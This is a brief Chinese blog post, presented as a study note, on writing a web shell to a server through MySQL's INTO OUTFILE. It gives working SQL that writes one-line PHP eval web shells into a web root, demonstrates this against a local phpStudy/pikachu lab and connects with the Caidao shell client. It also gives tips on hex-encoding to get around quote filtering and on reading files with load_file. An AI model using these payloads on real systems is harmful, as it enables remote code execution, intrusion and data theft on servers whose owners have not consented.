注:本文仅供学习参考

利用数据库拿shell需要两个条件
首先需要知道网站的绝对路径,
并且文件夹具有可写入的权限。
那我们就可以利用数据库里into outfile函数来进行写入函数
select'<?php eval($_GET[cmd])?>'into outfile '物理路径';


77433-gjh2o0bdxi5.png

下面做个测试在本机D盘生成一个1.txt 我们来查看一下内容

select'<?php eval($_GET[cmd])?>'into outfile 'd:/1.txt';
 

75424-ta5pn4j91sj.png

发现成功把一句话写进去 所以说要知道网站的绝对路径才能写入(绝对路径可以通过报错返回或者一些配置文件的泄露等等) 然后连接一句话进行拿shell。如果过滤了单引号可以转成16进制,读文件同理。
下面实战一下
利用Phpstudy做个实验
select'<?php eval($_POST[cc123]) ?>'into outfile '/phpStudy/WWW/pikachu/2.php';

96705-omaldcnt8eb.png

34743-50jp81y6xaa.png

使用菜刀连接一下

07237-t8ggz5ubzn8.png

实验成功
读取文件操作函数
load_file

87665-dkswzcyoh9o.png

还有很多拿shell方法,备份数据库等等,总结了一下,感觉还可以!过几天复习一下报错函数以及sql注入的原理。


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论